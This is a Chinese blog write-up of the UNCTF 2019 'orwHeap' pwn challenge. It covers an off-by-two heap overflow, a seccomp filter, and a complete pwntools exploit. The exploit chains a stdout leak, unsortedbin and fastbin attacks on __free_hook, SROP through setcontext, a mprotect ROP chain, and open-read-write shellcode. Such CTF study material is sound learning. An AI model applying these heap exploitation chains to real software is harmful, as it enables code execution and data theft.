UNCTF_2019_pwn_orwHeap

orwpwn

https://xz.aliyun.com/t/6731#toc-8
http://blog.eonew.cn/archives/993 setcontext 函数exploit
https://xz.aliyun.com/t/6645 shellcode的编写

这个一个保护全开的堆的题目:

[*] '/home/root0/pratice/2020_heap_practice/unctf/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

同时又这里我们可以知道,这个程序禁止了一部分的系统调用,我们可以用seccomp-tools这个工具来查看一下:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x07 0x00 0x40000000  if (A >= 0x40000000) goto 0011
 0004: 0x15 0x06 0x00 0x0000003b  if (A == execve) goto 0011
 0005: 0x15 0x00 0x04 0x00000001  if (A != write) goto 0010
 0006: 0x20 0x00 0x00 0x00000024  A = count >> 32 # write(fd, buf, count)
 0007: 0x15 0x00 0x02 0x00000000  if (A != 0x0) goto 0010
 0008: 0x20 0x00 0x00 0x00000020  A = count # write(fd, buf, count)
 0009: 0x15 0x01 0x00 0x00000010  if (A == 0x10) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

同时,又这个题目的add函数可以看出这个题目的数据结构相当简单,两个bss段的数组分别存放mem指针和用户输入的size大小,然后后面的edit , delete之类的功能都依赖于这两个数据结构。
漏洞点
add函数中的read_input函数:

read_input:

unsigned __int64 __fastcall read_input(__int64 a1, __int64 size)
{
  int i; // [rsp+1Ch] [rbp-34h]
  __int64 buf; // [rsp+20h] [rbp-30h]
  __int64 v5; // [rsp+28h] [rbp-28h]
  __int64 v6; // [rsp+30h] [rbp-20h]
  __int64 v7; // [rsp+38h] [rbp-18h]
  unsigned __int64 v8; // [rsp+48h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  buf = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  for ( i = 0; i < (unsigned __int64)(size + 1); ++i )
  {
    if ( read(0, &buf, 1uLL) <= 0 )
      exit(0);
    if ( (_BYTE)buf == 10 )
      break;
    *(_BYTE *)(a1 + i) = buf;
  }
  *(_BYTE *)(i + a1) = 0;
  return __readfsqword(0x28u) ^ v8;
}

可以看出这里可以溢出两个字节的数据,同时这个程序没有可以输出堆块的程序分支。

利用过程:

  1. 劫持stdout来获得libc的基地址

    1. IO_file攻击:我们现在堆块中分配出main_arena,然后通过覆盖两个字节使得其有1/16的可能性使得main_arena被改成stdout,然后我们更改stdout这个IO_file_plus结构体,如此我们可以输出_IO_write_ptr和_IO_write_base之间的数据,实现泄露。
  2. unsortedbin攻击,我们利用此可以把free_hook的附近写入main_arena,然后可以错位构造chunk,使得我们在free_hook之间有了可用的chunk_size。

  3. fastbin attack来实现__free_hook的写入。

  4. 我们把setcontext+53写入__free_hook来扩大控制范围。

  5. 利用SROP调用read函数,把rop chain和shellcode写入到目标区域。

  6. rop chain来实现mprotect修改内存页权限。

  7. 调用shellcode

# coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./pwn"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary, checksec=False)
if local:
    r = process(exec_binary)
    if context.arch == "i386":
        libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,
                                                         libcversion), checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,
                                                         libcversion), checksec=False)
else:
    r = remote("")


def get_libc(addr, addr_name):
    global libc, libcbase
    libc = LibcSearcher(str(addr_name), addr)
    libcbase = addr - libc.dump(addr_name)


def get_base(r):
    text_base = r.libs()[r._cwd + r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base, r.libs()[key]


def debug(addr):
    text_base, libc_base = get_base(r)
    break_point = "set $text_base=" + \
        str(text_base) + '\n' + "set $libc_base=" + str(libc_base) + '\n'
    break_point += "b *" + str(addr) + "\nc"
    gdb.attach(r, break_point)


def confirm(address):
    n = globals()
    for key, value in n.items():
        if value == address:
            return success(key + " ==> " + hex(address))


def malloc(size, content,flag=1):
    r.recvuntil("Choice: ")
    r.sendline("1")
    r.recvuntil("size: ")
    r.sendline(str(size))
    r.recvuntil("content: ")
    r.send(content + "\n")


def edit(idx, content):
    r.recvuntil("Choice: ")
    r.sendline("3")
    r.recvuntil("idx: ")
    r.sendline(str(idx))
    r.recvuntil("content: ")
    r.send(content)


def free(idx):
    r.recvuntil("Choice: ")
    r.sendline("2")
    r.recvuntil("idx: ")
    r.sendline(str(idx))


libc = ELF("./libc.so.6")
ptr_array = 0x000000000202060
size_array = 0x0000000002020A0
malloc(0x68, "aa")  # 0
malloc(0x78, "aa")  # 1
malloc(0x68, (p64(0) + p64(0x21)) * 6)  # 2
malloc(0x68, (p64(0) + p64(0x21)) * 6)  # 3
free(0)
malloc(0x68, "a" * 0x60 + p64(0) + p8(0xf1))  # 0
free(1)
free(2)
malloc(0x78, "")  # 1
free(0)
malloc(0x68, "a" * 0x60 + p64(0) + p8(0xa1))  # 0
free(1)
malloc(0x98, "")  # 1
edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p16(0x2620-0x43))
malloc(0x68, "")  # 2
malloc(0x68,"\x00"*0x33 + p64(0xfbad1800) + p64(0)*3) #4
r.recv(0x88)
libcbase = u64(r.recv(8)) - libc.symbols["_IO_2_1_stdin_"]
confirm(libcbase)
edit(1, 'b'*0x70 + p64(0) + p64(0x91))
free(2)
edit(1, 'b'*0x70 + p64(0) + p64(0x91) + p64(0) + p64(libcbase + libc.symbols['__free_hook']-0x20))
malloc(0x88, '') #2
edit(1, 'b'*0x70 + p64(0) + p64(0x71))
free(2)
edit(1, 'b'*0x70 + p64(0) + p64(0x71) + p64(libcbase+ libc.symbols['__free_hook']-0x13))
frame_read = SigreturnFrame()
frame_read.rdi = 0
frame_read.rsi = (libcbase + libc.symbols["__free_hook"]) & 0xfffffffffffff000
frame_read.rdx = 0x2000
frame_read.rsp = (libcbase + libc.symbols["__free_hook"]) & 0xfffffffffffff000
frame_read.rip = libcbase + 0xbc375
payload = str(frame_read)
malloc(0x68,payload[0x80:0x80+0x60])
malloc(0x68,"\x00"*3 + p64(libcbase + libc.symbols["setcontext"]+53))
gdb.attach(r)
edit(1,payload[0:0x98])
free(1)
layout = [
    libc.address + 0x0000000000021102, #: pop rdi; ret; 
    libc.symbols['__free_hook'] & 0xfffffffffffff000,
    libc.address + 0x00000000000202e8, #: pop rsi; ret; 
    0x2000,
    libc.address + 0x0000000000001b92, #: pop rdx; ret; 
    7,
    libc.address + 0x0000000000033544, #: pop rax; ret; 
    10,
    libc.address + 0x00000000000bc375, #: syscall; ret; 
    libc.address + 0x0000000000002a71, #: jmp rsp;     
]
shellcode = asm('''
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
''')
r.send(flat(layout)+shellcode)
r.interactive()


   转载规则


《UNCTF_2019_pwn_orwHeap》 时钟 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
ByteCTF2019 ByteCTF2019
byteCTFbyteCTF note_five这个题目没有可是输出堆块内容的选项,就是要劫持_IO_stdout了。漏洞: __int64 __fastcall read_in(__int64 ptr, signed int size,
2020-02-10
下一篇 
glibc heap unsorted bin attack glibc heap unsorted bin attack
unsorted bin 基本简介: 1.它是一种双向链表的形式, 采用FILO的遍历形式。 2.我们知道malloc的时候最先寻找fastbin, 但是当fastbin里面没有合适的chunk的时候,它会去寻找small bi
2020-01-30
  目录